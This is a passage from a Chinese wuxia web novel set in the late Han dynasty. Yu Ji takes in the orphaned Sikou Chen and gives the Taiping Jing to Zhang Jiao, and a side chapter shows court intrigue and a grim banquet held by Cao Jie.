第二天屠岸冥醒来后,浑身难受,才惊觉是被人下了药,再看看囚车,空无一人,赶紧派出手下寻找,然而,于吉他们早已走远。 第四十八章 太平经 冀州的一处山头上,于吉正在闭目苦参《太平经》奥妙。而旁边绑着一个八岁左右的小姑娘,正是司寇晨。于吉练得正起劲,司寇晨突然大喊道:“有蛇有蛇!” 于吉听罢,眉头一跷,顺着司寇晨目光看去,哪儿有什么蛇,分明是蛇褪下的蛇皮而已。“臭丫头,哪儿有什么蛇,这不过蛇皮耳。” “蛇皮?不可能,你给我解开,我仔细看看。” “帮你解开?你当我傻啊,我也不跟你墨迹,你把太平清领书的下落告诉我,我就放了你。” “太平清领书?我听到没听过,哪儿给你找去。” “那你就告诉我朱姬杜菱和白侠展平的下落!”于吉不赖烦到。 “我都好几年没见过我杜姨展叔了。我怎么知道他们下落啊!”司寇晨倒是机灵,直接撒谎说没见过。 “你少骗我,我还不知道吗,在青州你就被人救过一次,不是杜菱和展平,还有谁愿意冒险救你。” “我怎么知道,要这么说的话,你不是也从官府手上,把我救出来了嘛,莫非你就是白侠展平?”司寇晨开启胡扯模式。 “我是想从你这里打探消息,那不算救!” “那你又如何知道在青州时,那帮救我的不是想打探消息呢。” “你,你这小丫头片子,少跟我胡扯,反正你要是不说出他们下落,你就给我老老实实呆在这儿。” 于吉软硬兼施,与司寇晨耗了近半个月,不管怎么问,都没能从她口中问出半点儿消息来,不过半个月的相处,她倒是乖了不少,不再像之前一般,整天想着逃跑了。于吉眼看问不出什么眉目,索性解了绑,让她自行离开,没料到,她却懒得逃了,赖在于吉身边,过一天算一天,而且,相处下来,于吉越发感觉司寇晨的性格很像一个人——已经死去几十年的小妹:于婉。 于吉每日盘坐,参悟太平经奥秘,司寇晨在一旁闲不住,插话道:“天天练功,也没个新花样,练得还没我爹好呢!” “没你爹好?那你倒是说说你爹好在哪儿?” 司寇晨得意道:“哈,我爹练功时,能使风云聚一气,蛟龙现真身,如何?厉害吧!” 于吉大笑道:“哈哈,说得这么玄乎,司寇箫那小儿,不过是我的手下败将耳,没什么真本事!”于吉莫名自豪道。 “怎么可能?我爹怎么可能会是你这小道士的手下败将!你等着,我这就去叫我爹来教训你!” “你爹早就死了,你上哪儿叫去。”于吉一时嘴快,无意说道。 场面一度十分尴尬…… “你撒谎,我爹没死!”司寇晨嘴上虽这样说着,眼角却不自觉流出泪,嚎啕大哭起来。 看着司寇晨突然落泪,于吉才注意到自己说错了话,不禁想起自己小妹被人欺负后嚎啕大哭的场景。 这时,于吉因练功深入,又没集中注意的缘故,导致功法突然失控,脉搏全被真气封住,一时竟无法动弹,话都说不出,只有眼珠能动,而此时,一只狼不知从何处冒出,直勾勾的看着于吉,于吉瞳孔大张,可又动弹不得,那狼向天嚎叫一声,似在召集同伴,这一声狼嚎惊醒了一旁大哭的司寇晨。 “啊!有狼!”司寇晨大叫一声,跑到于吉身后,以为于吉能打倒那恶狼,殊不知,此时的于吉也只能任狼宰割。而司寇晨后退的动作又惊动了那匹恶狼,恶狼见司寇晨后退,于是径直追了过来。司寇晨见状直接晕倒了,只剩下于吉在这儿怀疑人生。 眼看就要扑向于吉了,千钧一发之际,一个山民跑了过来,挡在于吉面前,豺狼一下咬住山民手臂,将其扑倒在地。祸不单行,又有十多匹恶狼从远处袭来。 形式岌岌可危,于吉见状,只得强行用自身真气与修炼太平经所得的真气对撞,这一冲,脉搏自是严重受损,但总算是可以动了。于吉拿起拂尘,朝近处恶狼一拍,那匹恶狼像是受到剧烈冲击一般,直接飞出三米远,接着又朝狼群处挥了挥拂尘,施法道:“云霄九剑第六式—啸风拂叶。”只见于吉身边啸风四起,落叶环绕,落叶聚合为六柄长剑,飞剑朝群狼飞去,所到之处,只留下恶狼的尸体,片刻间,恶狼便死的死,逃的逃,尽数散去。施完功法,于吉也是口吐鲜血,显然是受了很大的内伤。 “道长,你没事吧。”山民拖着受伤的手,上前扶起于吉。 于吉迷迷糊糊的,只其说了声谢谢,便晕了过去。 接着,山民过来扶起司寇晨,梦境中,于婉睁眼细看此人,好像在哪儿见过,十分熟悉,且十分渗人,竟是张角! 于吉在一个破茅草房的木床上躺了许久,醒来第一眼,看见司寇晨端着一个汤药碗坐在床旁。 “没想到,居然是你救了我。” “不是我,这药是那大叔熬的。”话音刚落,只见,张角端着一盆热水进来了。 于吉作揖道:“小兄弟恩情,贫道感激不尽。” “道长言重了,道长身怀绝技,我哪有本事救道长啊,不过是尽力而为罢了。” “小兄弟客气了,以后,小兄弟若有难事,只管来找我。” “真的吗?”张角满脸惊喜。 “那是当然,贫道向来说一不二。” 张角顿了顿说道:“实不相瞒,在下这真有一小事相求。” “但说无妨” 张角听罢,竟跪了下来。“我想拜道长为师,习风云变幻之术!”原来,于吉在打跑恶狼时,所运用的神功,让张角大惊,遂尽心救助于吉,想拜于吉为师。 于吉显然没想到,张角会提出这个要求,讲道理,凌云谷收的弟子,那必须得是天资聪颖的,可不是什么人都能拜凌云谷的人为师的,张角纵有救命之恩,也不可能说收就收。:“这个嘛,实不相瞒,在下所在门派有门规,要收弟子,必须得由掌门认可,否则,谁也不能私收弟子。” 张角听罢低头不语,一直跪在地上,久久不起。 于吉见状很无奈,只得说道:“这样吧,你要真想学风云变化之术,我就把这本经书送给你,至于你能掌握几成,那就看你造化了。” 这本经书,指的正是太平经。于吉并不是自己不想学太平经,只不过一个月的修行来看,太平经中的功法与自己体内的真气相撞,强行修炼于己毫无益处,反倒祸害不断,如今掌门正四处打探失落宝物的消息。将太平经留在身边,实数祸害,不如趁机赠予张角,想来张角凡夫俗子也,得宝必不外传,况且张角看起来也并非修炼奇才,到时候,太平经只会烂在尘间,此事也就只能不了了之。 “多谢道长,敢问道长姓名,他日若有所成,必当言谢。” “山野老道耳,不必记挂我,你得的是我派秘法,切不可外传,也千万别说是我给你的,他日若真相见,只当陌生人耳。” “是”张角叩谢,接下了书。 “大叔,那么重要的功法你说送就送呢?”司寇晨将汤药递给于吉。 “哈哈,怎么,你又知道它重要了?” “那上面不是写着嘛” 听了这话,于吉满是严肃的看向司寇晨。 第四十九章 幽州狼骑 于吉一脸严肃的看向司寇晨,不料,司寇晨竟说道:“大干……额,大干书!”司寇晨满脸得意的看着于吉。 于吉长吁一气,笑着接过汤药:“你想不想学风云变化之术啊?” “想啊,你也给我来本神功吧。” “哈哈”于吉笑着喝完汤药,将空碗递给了张角,张角遂拿着碗走出病房。 “你要真想学,我还得先看看你的资质呢,来,把手给我。” 于吉给司寇晨把起脉来,佯装一本正经的把了几秒,笑道:“资质平平啊,我看你啊,还是老老实实的做个凡人吧。” 司寇晨听了,那叫一个气,收回了手,大叫道:“你才资质平平呢!我是旷世奇才好吧!旷世奇才!” “哈哈哈,好,旷世奇才!旷世奇才!”于吉见状更是大笑。 修养了两天后,于吉好了很多收拾好行李,与张角分别,带着司寇晨离开了。 “小丫头,你还打算跟我多久啊。”看着一旁采花追蝶的司寇晨,于吉不禁想起自己的小妹,当年遇害时,才六岁而已。说来也巧,两人不仅性格相似,长像也有几分相似! “大叔,我这无依无靠的,你想让我饿死街头啊。” “哎,我不是跟你说过吗?别叫我大叔,我要那么老吗?” “有,我要不是讲礼貌,我都想叫你大爷了。” “哎,你这小丫头片子,我真有那么老?你仔细看清楚点儿好吧”于吉竟认真起来,满脸期待的问道? 司寇晨转过身来,仔细的看了看于吉:“好吧,确实没那么老。” 于吉正准备笑时,司寇晨又补充了句:“确实算不上大爷,还是继续叫大叔吧”于吉瞬间无语了。 “不行,你现在吃我的,穿我的,用我的,就得听我的!” “啊,好吧,好吧,那你说,我该叫你什么?” “叫大哥!” 司寇晨回头看看了于吉,半晌吐出一句:“你变态吧!”话罢,又继续采花追蝶。 一个四十多岁的中年人,强行要一个年仅八岁的小姑娘叫大哥,确实是太变态了,但于吉认为,司寇晨就是上天赐给他的妹妹,几十年前,他没能保护好自己的妹妹,现在,他想当好这个大哥。 “我跟你说,你要是想跟着我生活,就得改名换姓。” “为什么?我偏不。” 于吉吓唬道:“那可由不得你,如今,你们司府被封,你是朝廷的重犯,你若不改名换姓,迟早会被抓回去关进铁笼里。” “啊!我不想关铁笼,我换,我换!” “对嘛,从今天起,你就叫于婉吧,于是的于,委婉的婉!” “于婉?这名字一点也不好听,我不!” “挺好听的啊,就这了!你吃我的,穿我的,用我的,就得听我的。”于婉,正是几十年前,于吉亲妹妹的名字。 “切。”司寇晨一脸不屑。 “还有,别人要是问起,你可千万不能说是司寇箫的女儿,如今司府被查,你要是说漏了嘴,保不准他会去官府举报你。” “那别人问起我家室,我该怎么说?” “你就说你是个小乞丐,是我在路边把你救回来的。” “你才小乞丐呢!” “干嘛啊,还敢反驳?跟你说多少遍了,你吃我的……”没等于吉说完,司寇晨便抢话道:“吃你的!穿你的!用你的!听你的!老是这话,都没个新词儿,无聊。” “所以,我刚才说的话,你都清楚了吗?” “清楚了!清楚了!” “对嘛,这才乖嘛。”于吉摸了摸司寇晨的头,哦不,是摸了摸于婉的头。 “好,咱们来模拟一遍。” “小丫头,你姓甚名谁,家住何方啊!” “我叫于婉,于是的于,婉……” “委婉的婉”于吉提醒道 “我叫于婉,于是的于,委婉的婉,我是个小乞丐,没有爹没有娘,也没有家。”于婉不仅说得清清楚楚,还略带着哭腔。 “嗯,说得不错。”于吉点点头,再问道:“那,你该叫我什么啊?” 于婉盯着于吉看了半天,半晌竟吐出两个大字来:“爷爷!”话罢,笑着跑开。 “嘿,你个小丫头片子,你给我站住!”于吉立马追了上去,抓住于婉,假装打起来。 两人还没行多远,突然数十匹恶狼不知从何处冒出,挡住于吉去路。于吉仔细一瞧,其中几匹狼身上还有剑伤,想来是那天跑掉的狼又找了些狼友来寻仇了。 “还敢来?正好,新仇旧恨一起报了。”于吉正欲屠狼,后方又冒出一队人来,于吉回头一看,大惊,只见,几十个骑着巨狼的人正挡住他们退路,这骑的巨狼居然跟马一样高大,张牙舞爪,十分瘆人。 为首的是一个五十多岁的老者,身下巨狼比马还大上不少。只听那人介绍道:“在下幽州公孙皓,这位道长,怎么称呼?” 于吉笑了笑,并不报名号:“原来是幽狼派的狼主啊,幸会幸会,贫道还有事办,就不打扰了。”于吉见来者不善,抱起于婉便欲开溜。 “且慢,一周前,我丢了很多匹幼狼,不知道长可有看见?”原来,那天打死打伤的,竟是他们幽狼派的幼狼。 “我幽狼派的幼狼可是稀有之物,你这臭道士说杀就杀了,可有问过他们的母亲?!”公孙皓一边说着,一边摸着巨狼毛发,巨狼也很应景,立马抬着头,嚎叫起来。 眼下景象,说再多屁话也没意义,于吉索性不再辩解:“杀便杀了,有能耐,取走我的性命便是!”话罢,拂尘一挥,将前方拦路的狼群纷纷扫退,抱起于婉朝右边的树林跑去。 “给我追!”公孙皓一声令下,几十匹狼骑军尽数朝于吉追去。 第五十章 蝴蝶印记 “大叔,怎么办啊,我可不想被那么大的狼给吃了啊!”于婉在于吉怀里大哭起来。 “哈哈,别怕,有大哥在呢,他们伤不了你。”于吉回过头,拂尘一挥,两颗大树交叉倒下,挡住追赶的狼骑军,狼骑军见跃不过,纷纷从两旁绕开。 “臭道士,刚不是挺嚣张嘛,只知道逃跑算什么能耐。”一狼骑军朝于吉喊道。 “你们几十个人欺负我一个小道士,又算什么本事。”于吉抱着于婉逃跑的速度丝毫不比狼骑军慢。 讲道理,并非于吉打不过幽狼派众,只不过身上旧伤尚未痊愈,且怕误伤于婉。所以,不敢冒险。 “想不到,臭道士轻功如此了得。”公孙皓见追不上,于是取下背上金丝弓,搭上利箭,一边追赶,一边瞄准起来。于吉回过头,瞥见拉弓射箭的公孙皓,大惊,当即加快的脚步。 只听一声箭响,那箭竟直直的射中于吉后背。 事实上,这箭速度并不快,于吉轻轻一闪便能躲过,但他怕箭会射中于婉,索性把于婉抱在身前,想要快步逃离,不料还是慢了一步,没能逃开公孙皓的射击范围。中箭后,于吉更不迟疑,脚下注入更多内力,数息后便甩掉了幽狼派。 人虽是逃掉了,但命却未必保得住,公孙皓在箭上染了烈焰冰魄毒,此毒三个时辰后发作,先是浑身炽热犹如火烤,接着寒风刺骨犹入雪地,寒热交接,直至死去…… 凌云谷: “于吉,你糊涂啊!” 于吉摇摇头:“都是我造的孽,我亏对苍生!我该死!” 谷月清:“一死了之太简单了,你造的孽还没完了,《太平清领书》与魔教妖物的下落至今未知,若是重回魔教手中,他日,必将祸乱苍生!于吉,咱们得把它找回来啊!” 于吉跪在地上,正欲向谷月清谢罪,谷月清一把拦住:“你向我谢罪没用,你得用实际行动,向苍生谢罪。” 于吉点点头,转过身去,向天地磕了三个响头。 谷月清:“时候不早了,该出发了。” …… 黄骷岛: 昏迷了一天一夜,于婉猛然惊醒,浑身发颤,十六年前,救下她和于吉的,竟是张角,更恐怖的,将《太平经》传给张角的,竟是自己的爱戴了十六年的恩师——于吉!当年,于吉中了烈焰冰魄剧毒,本该命丧黄泉,却在机缘巧合下,被于婉血液治愈,于吉担心于婉随着年岁的增长,会追思起往事,怀疑到自己,索性使用太平神功,封去于婉记忆,正巧此时她头部受了撞击,以此为说词,瞒过众人,时过境迁,于婉受山万蛇剧毒所致,全身血脉飞速流动,脑部异常亢奋,猛然冲破太平神功禁锢,追忆起当年往事…… 解释一下,填几个坑,普天之下,有五种人的体质极其特殊,如于婉,其血液能解天下百毒,乃是至阴体质,此外,还有至阳体质,如昭相雪,这种体质与至阴体质不同,它对药物是很敏感的,且不免疫任何毒,它只有一个好处,就是能够吸收糅合各种内功,这也是为何,昭相雪能够快速柔和《太平经》、《太平清领书》神功的原因,此外,还有至柔体质,如青菱师太、剩下两种为至坚、至法体质,至坚体质江湖鲜有人物,似乎没翻起过什么大浪,但至法体质的却大有来头:听风阁十二散修排名第一者:寒岩阁——王绾。 当下,见于婉醒来,慕容洵一脸诧异,惊喜交加,一把抱住于婉:“婉儿,你终于醒了,我没做梦吧,婉儿!” “洵姐,我……”太多记忆涌入脑海,于婉脑细胞已然死机,一时也不知道该说些什么。 屋外,慕容钧听到动静后,走入屋来,见此情景,大惊失色,喃喃道:“山万蛇毒无药可解,难道?!” 旧的谜团还未解开,又添了个新的谜团,于婉,为何能解山万蛇毒!要知道,数千年来,被山万蛇咬中后没死的只有两人,一个是于婉,而另一个,乃是五十多年前,毒绝天下的慕容顾! “我真是该死,没事儿去招惹山万蛇干嘛,等它爬走了我们再过去不挺好吗?哎,要是我那剑砍准一点儿,也不至于害了婉妹性命啊,我真笨,笨手笨脚的!真没用,本来还想着等寻回麋蛇胆后,和你结拜的,可~我真蠢!真蠢……”慕容洵一边说着,一边又哭起来。 于婉替慕容洵擦掉眼泪:“干嘛,哭得这么伤心啊。” “婉儿,你真的没事儿了吗?” “我能有什么事儿啊,不就是被蛇咬了一口嘛,又没有伤到要害。”于婉一脸淡定,在她眼里,似乎,被蛇给咬死了才是件荒谬的事! 慕容洵:“不一样的,你当那蛇是寻常蛇啊!那可是山万蛇王!有剧毒的!无药可解,你真的没事吗,身体没什么异样?”慕容洵一脸担忧的看着于婉。 于婉却大笑起来:“剧毒?我才不怕毒呢,刚被咬时,大脑确实很晕,浑身难受,不过洵姐,你有所不知,我体质特殊,血液可解百毒!” 听此一言,旁观的慕容钧又是一颤,要知道,当年毒绝天下的慕容顾体质也极其特殊,血液也可解百毒! 慕容钧缓缓神,走到于婉床边:“把手给我,我帮你看看有没有什么异常。” “好啊。”于婉将手递了过去。 慕容钧先是像寻常大夫一样把了把脉,并无丝毫异常。 接着,慕容钧问道:“能把这衣袖拉起来些吗” 于婉一头雾水,半拉起衣袖到手肘部。 “再拉高点儿” 慕容洵一头雾水,以前父亲行医,可从没让病人把衣袖拉这么高啊,这种奇怪的看病方法还是头一次见。 于婉虽是满脸疑惑,但又拉高了些,这时,一块状若蝴蝶的胎记映入眼帘。 第五十一章 神秘身份 “好漂亮啊,像一只蝴蝶!”慕容洵看着那胎记说道。 “见笑了,这是我的胎记,出身就自带着。”于婉尴尬的笑了笑。 慕容钧看了这胎记大笑起来:“我记得,你说你叫于婉?” 于婉点点头:“对啊,于是的于,委婉的婉。” 慕容钧摇了摇头:“于婉只是你的化名吧,能告诉我真名吗?” “爹~”慕容洵正要帮言,被慕容钧一个手势打断。 于婉面色不改,辩解道:“我真的叫于婉。” 慕容钧笑了笑:“那位公子的药我已经熬好了,你若是不说实话,我现在就把药倒掉。”(事实上,汤药早已喂下了,慕容钧不过是在吓她罢了。) 于婉听后,低头不语。慕容钧见状转身便走,装出一副要去倒药的样子。 “别,我说,我说。”于婉拉住慕容钧,欲言又止。 这时,慕容洵再解围道:“爹,你干嘛啊,于姑娘冒着生命危险带回来的麋蛇胆,你怎么能说倒就倒呢!”话罢,又去安慰于婉:“婉儿,你别怕,我这就把药端去喂那公子喝下。” 慕容洵话音刚落,慕容钧便说道:“你复姓司寇,对吧。” 于婉一脸惊奇,慕容钧一脸自信,慕容洵则一脸懵逼。 也是奇了怪了,于婉做了一天一夜的大梦,才略微清楚自己的身世,为何这慕容钧会知道自己真名?自己小时候并未见过他,不应该啊! “你,你怎么知道?”于婉惊讶道,这十几年来,除了菱姨,还没有第二个人认出自己,此时,慕容钧既已猜出大半,装下去,也没了意义。 “你们在说什么啊,这到底是怎么回事儿啊?”慕容洵不解道。 慕容钧笑了笑,并未回答:“好了,你们两姊妹慢慢聊吧,不打扰你们了。” 于婉叫住慕容钧:“前辈,咱们是不是很早以前就认识?” 慕容钧摇摇头:“咱们才刚认识,不过,若是论辈分,你得叫我一声叔父。”话罢,走出屋去。 叔父?我爹的弟弟?于婉突然想起昭相雪,赶紧下床,躺了许久,行动不便,被慕容洵搀扶着她往昭相雪房中走去,走出屋去,正好看见一少年杵着拐杖朝自己走来,乃是刚刚清醒的昭相雪。 于婉二话不说,径直扑向昭相雪,紧紧抱住他,慕容洵见状,抿嘴一笑,悄然离开。 “你终于醒了。” 昭相雪微微一笑:“婉姑娘,谢谢你。” 于婉:“谢我干嘛,你都救我三次了,我才救你两次,还欠你一次呢,以后有机会还你。” “好啊,那我可得好好存起来。” 两人相拥了许久,丝毫没有要松开的意思。 于婉喃喃道:“昭相雪,我们会成为很好的朋友对吧。” 昭相雪点了点头:“当然。” “我的意思是,我们最终,只会成为很好的朋友吗?” 昭相雪顿了顿,松开手:“总之,谢谢你了,我已经好得差不多了,咱们赶紧离开这里,跟枯兄他们会合吧。” “对,也不知二师兄他们现在如何了,你的伤真的没事儿了吗?要不,再休息两天?” “没事儿了,你看,好的很。”昭相雪一边说着,一边丢开拐杖,强撑着站起。 于婉看出了昭相雪的勉强,劝慰道:“再休息两天吧,万一再遇到大江大浪,翻了船,我不会水,你又病恹恹的,咱们不得等死啊,不着急。” 昭相雪点点头。 “真是急死人了,也不知昭兄救起我小师妹没,这么多天了,也没个音讯。”枯恂一边在各个渡口贴寻人启事,一边发牢骚道。 江雨潇劝慰道:“急也没用,咱们赶紧去下个渡口看看吧,说不定能打听到他们下落。” 豫州边界,崖下: 找了一天,魅影右使仍没有找到杜菱他们,这样耗下去也不是办法,于是尽数撤退了。 杜菱找到一个相对倾斜的地方,准备上爬。 “这么高的山崖,能行吗?”韦凌峰失落的问道。 “当然。”杜菱话罢便施展起神功往上爬。 杜菱并不是垂直向上,而是斜向上的伸缩着,身体紧附墙壁,双手不断换位拉伸身体前行,骨骼柔软的她,爬起来到也轻松,很快便消失在韦凌峰视线里。 韦凌峰有些失落,自己冒险来救她,为了她甚至跌落了山崖,可如今,她却抛下自己一个人爬崖离开,这,多少有些不尊重人啊! 但杜菱没得选,于礼是该留下陪韦凌峰等下波退潮,但于理,她必须出去,如今豫蛇教弟子群龙无首,再遇魅影教,后果不堪设想。 这次爬崖比以往顺利得多,无风也无雨,一柱香的时间未到,杜菱已爬到了半山腰了,杜菱再加把劲,准备一鼓作气爬到山顶 这时,一只巨大的金雕冒了出来,在天上盘旋了足足三圈,让人十分不安,似乎一直在看着杜菱,杜菱怕引起金雕攻击,便停止了上爬的动作。哪知金雕还是冲了过来,伸出利爪,向她抓去。 杜菱慌了,之前那个山崖是没有雕的,这种情况还是第一次遇见,杜菱取出两枚飞镖,朝金雕扔了过去,但都被那金雕巧妙的躲过了,眼看金雕越来越近,杜菱附身于悬崖之上,哪儿能反抗,让它近了身只有死路一条,只好松开手向崖下落去。 跟之前一样,杜菱仍是不断借住树缓冲下滑的速度,但当她正要抓住一棵的树腰时,又出意外了,一只花豹正趴在那树上警惕的注视着杜菱,因为这花豹的豹纹和那树的树纹颇为相似,所以杜菱此前并没发现,此下,杜菱哪敢去抓那树,左脚一蹬,快速逃离,但不妙的是,左边场地极为空旷,无树可攀,直直落下去,那必然又要伤筋动骨了。 【番外】饮血食肉(一) 司州、张府: 大厅上,张延焦急的渡来渡去,不时看向厅外,不时坐下喃喃自语:“韦老弟速度变慢了啊!青州到司州隔得又不远,这都一周了,怎么还没个消息!” 正话间,一门徒小步走近:“大爷,韦爷、屠爷他们回来了!” “哦?在哪儿?” “刚进城!” 张延笑了笑:“好!快,备茶,备茶!” 韦凌峰、屠岸冥两人进了府,神色大不相同,韦凌峰满脸怒色、屠岸冥则满脸惊慌。 张延本想向韦凌峰打探消息的,但看韦凌峰的脸色,似乎正憋着气了:“屠岸冥,人呢?带回来了吗?” 屠岸冥尴尬一笑:“大哥,本来是该安全送来的,可路上出了点儿小状况。” “什么小状况?人呢?你千万别告诉我,一个小姑娘你都看不住?!” 见张延发怒,屠岸冥立马跪下:“大哥息怒,大哥息怒!小弟不是故意的,大哥息怒!” 张延见状开始慌了,猛拍一旁桌椅,吼道:“息什么怒!我问你人呢?!人呢?!” 屠岸冥不敢多言,只是一个劲儿的磕头。 突然,韦凌峰答道:“走了!被人给救走!” “救走了?!怎么可能?司寇晨是朝廷重犯,有那么多官兵把守,怎么可能说救走就救走!谁干的?谁干的?!” 韦凌峰亦吼道:“救得好!早该救走了!我倒是有些后悔,没在青州轻手放了她!” 听了此言,张延大怒,立马起身扯住韦凌峰衣服:“混账!你说什么?再说一遍!” 韦凌峰也不示弱,亦扯住张延衣服:“我再说一遍又如何!大哥,你可知司寇晨是何许人也!育阳侯为何要让我们抓她!” “当然知道,她是司寇箫的独女,司寇箫在益州救了陈逸,现在司寇箫已死,陈逸下落不明,抓住司寇晨,说不定能从她口中问出陈逸下落。” 韦凌峰冷笑几声:“那你可知育阳侯为何要杀陈逸!” 张延道:“哼,陈逸是陈蕃的儿子,陈蕃勾结党羽,行谋逆之事,人人得而诛之!韦凌峰,你不问朝政,但奸贼逆贼你分不清的吗?” 韦凌峰拽紧张延衣服,怒吼道:“分不清忠奸的是你!你好好打探打探,到底是谁在救国,谁在害国!可不是皇上亲近谁,谁就是忠臣!皇上讨厌谁,谁就是逆党!” “放肆!你的意思是,陈蕃他们是忠臣?!育阳侯大人才是逆党?!” “是!大哥!你醒醒啊!醒醒!” 张延怒气更盛,一把推开韦凌峰,问到一旁屠岸冥:“三弟,你也觉得我做错了?” 屠岸冥看着张延,满脸苦色,但还是微微的点了点头。 张延咬咬牙,说道:“你们待在这儿,没我的命令,谁也别想离开半步!”话罢,张延离开府邸,独自前往天牢…… 天牢内,育阳侯曹节正亲自审理着“陈氏余党”。 “延老弟,今天怎么有空来天牢看看。” 张延完全没料到会在此处碰到曹节,当下尴尬一笑,作揖道:“育阳侯好。” “好个屁好!司寇晨呢?到哪儿了?!这都过去一周了,还没消息吗?” 张延惶恐不安,撒谎道:“大人放心,估计明天就能到了。” “哼,你最好说话算话,否则,我可饶不了你!” 这时,旁边牢房一青年怒骂道:“曹节!你这奸贼!倒行逆施!残害忠良!上,愧对于君!下,愧对于民!狗贼!恶贼!逆贼!行不义之举,反诬陈公!你会遭报应的!” 张延扫了一眼,这人他认识,乃是陈蕃的旧部,都尉秦贺,说起来,还是张延带人抓的秦贺,当然,是育阳侯授意的。 曹节看了看秦贺,冷冷一笑,接着对身旁张延说道:“延老弟,这天牢可不是你该待的地方。” 张延领会其意,默默退了出去。 张延走后,曹节奸诈一笑:“你们这些汉人,就是一根筋,我给你们说实话吧,把你们关在此处可不是我的意思,那是皇上的意思,这样的昏君,值得你们尽忠吗?” 秦贺道:“还不是你这奸贼在旁边怂恿的,奸贼!逆贼!狗贼!大汉若是没有你这种奸贼,早就四海升平了!我恨不得扒你皮!吃你肉!喝你血!” 曹节不再争辩,小声对身旁随从说了些话,随从大惊,楞了两秒,接着,颤颤巍巍的打开牢房,将秦贺带走。 秦贺一边走,一边不忘骂曹节:“狗贼!奸贼!逆贼!我必扒你皮!吃你肉!喝你血!!!!!!” 曹节冷哼一声,小声说道:“谁喝谁血,还不一定呢!” 待曹节走后,躲在外面的张延悄悄摸了进去。 “秦贺!秦贺!秦贺呢?!” 一狱卒答道:“被育阳侯大人带走了。” 张延满脸恼火:“把牢门打开,我要亲自审这些逆贼!” 狱卒道:“育阳侯大人说了,没他的命令,谁也不许打开牢门。” 听了这话,张延反手便是一巴掌拍去:“放肆!你可知你在和谁说话!育阳侯大人可是许过我先斩后奏的特权!怎么,你想试试吗?” 小小狱卒哪见过这阵仗,当下受此一惊,立马打开牢门,退至一旁。 张延足足在牢房中审了两个时辰,走进牢房时,张延一身傲气与不屑,但走出牢房时,却是满脸沮丧与懊悔。 张府: 韦凌峰与屠岸冥兄弟两坐在大厅里,两相沉默,只顾着喝闷酒,并不交话。 这时,张延回府了。 两人同时起身问道:“如何?” 张延当着众人面,狠狠给了自己两巴掌:“我tm就是个废物!狗屎!我这都干了什么事啊!混账东西!混账!”一边说着,一边再给了自己两掌。 韦凌峰与屠岸冥连忙上前拉住。 屠岸冥道:“大哥,这不怪你,都怪曹节那奸贼,太tm会装模做样了!皇上不是也被骗了吗?” 韦凌峰道:“大哥,咱们回西凉吧,我有点儿相恋以前做马匪劫富济贫的日子了。” 张延点点头,这时,一阉人径直闯入府中。 阉人道:“张爷,育阳侯大人邀你前往曹府享用晚宴。” “诺” 阉人往旁边一扫,认出了韦凌峰:“韦爷也在?一起吧。” 韦凌峰尴尬一笑:“诺” 阉人仔细看了看屠岸冥,万幸,他并不认识屠岸冥,当下问道:“这位是?” 张延连忙支开屠岸冥,答道:“哦,不是什么大人物,一奴仆罢了。” 阉人点点头:“晚宴就快开始了,两位可别迟到了。” 【番外】饮血食肉(二) 大厅内,密密麻麻坐了近百人,尽是些宦官、奸党,一桌十人,却有近三十道菜!各桌皆陪有十多名美人,她们端着美酒,随时准备为宾客添酒宽衣。此外,大厅中央,还有近二十名美人翩翩起舞,身姿轻盈、容貌俏丽,竟不比妃嫔逊色!大厅外两旁,依依停放了近三十顶轿子,这些个轿子材质上乘,皆镶金戴玉,尽是一片奢靡之景!估摸时辰,起码还有一个时辰天才黑,但曹府内外却早已挂满了灯笼、点满了蜡烛,数百名官兵手执利剑分布在曹府各个角落,随时准备将扰乱宾宴的逆贼乱剑刺死! 两名难民见曹府大宴宾客,竟端着碗筷前来讨饭! “行行好吧!我们已经三天没吃过饭了!” “滚!臭乞丐,曹府可不是你讨饭的地方!快滚!” 难民仍不逃离,抓着侍卫的衣服,一个劲儿的哀求着,其中一位难民更是直接跪了下来! 侍卫却无半分怜悯之意,竟提起剑,径直刺向那跪下的难民,千钧一发之际,一人挥剑挡下! 侍卫抬头一看,乃是曹节的左右手——张延,当下立马收回了剑,恭敬说道:“大人好,失礼失礼!” 张延道:“今日,育阳侯大宴宾客,还是不要见血的好!” “是是是” 韦凌峰见那两位难民衣衫褴褛,面黄躯瘦,二话不说,掏出钱袋将里面的五铢钱给难民们分了些。 难民们接过钱,连连磕头谢恩,至到韦凌峰与张延走远后才停下。 两人步入厅内,见了宴会上奢靡景象,皆嗤之以鼻,曹府外的难民食不果腹,骨瘦如柴、粒米抢食!曹府内的宦官、奸党个个肥头大耳,大快朵颐的嚼着肉食,端着玉壶喝美酒,抱着美人摸玉腿,生活过得,好不快活! 见张延来了,曹节立马招手道:“来来来,张延,快坐下!” 待两人坐好后,曹节看向韦凌峰:“张延,你二弟回来多久了,怎么不见你来报啊” “禀大人,二弟才刚到。” 曹节点点头,再问道:“韦凌峰,我要的人呢。” 韦凌峰道:“在我三弟手上,他们明天就能到了,我轻功好,先来给育阳侯与大哥报个信!” 曹节笑了笑:“好,喝酒!喝酒!”曹节与众人举杯豪饮起来。 这时,十几名侍女端菜肴走入大厅,菜肴被分配到各个客桌,一人指着菜肴小声对曹节说了些话。 曹节掀开盖子,看着盘中菜,冷哼一声:“现在知道谁吃谁了吧!” 张延往菜盘扫了一眼,里面的菜很“寻常”,不过是一道白菜炒肉丝罢了。 曹节站起身来,对众宾客说道:“来,都尝尝,这菜可不常见,用它来下酒,那可是香得很啊!”一边说着,一边往自己碗中夹肉。 宾客见状,皆倒满酒,争先恐后往碗中夹肉,张延与韦凌峰亦往碗中夹了些肉,细嚼起来。 这肉哪是人吃的,根本毫无口感,又腥又臭,苦涩无比,众宾客皆面露难色,反观曹节,大口吃肉,大口喝酒,吃得好不快活,众人不敢扫了曹节“雅兴”。只得灌酒强咽下去,一些马屁精还附和道:“好吃!好吃!” 曹节点点头,大笑起来。 突然,场上二十多名宾客站起身来,从衣袖中掏出短刀来,挥刀砍退左右,直取曹节。 手无寸铁的阉党们哪受得了这阵仗,皆蜂拥向外,此时,外面的侍卫听到里面的声响,又蜂拥挤进,一进一出,竟将厅门堵住,一时间,里面的出不去,外面的进不来。 正位上,正襟危坐的曹节却一点儿不慌,竟喃喃道:“我正愁没处抓你们呢,你们竟然自己送上门来了。”话一说完,竟有五十名轻功了得的侍卫,从院墙外翻了进来,手持长剑,身着侍服,看衣着,倒是与寻常护院无异,但细看这些人,皮肤蜡黄紧实、鼻梁高挺,倒是和关外的乌桓人很像,或者说,这五十人就是从乌桓来的。 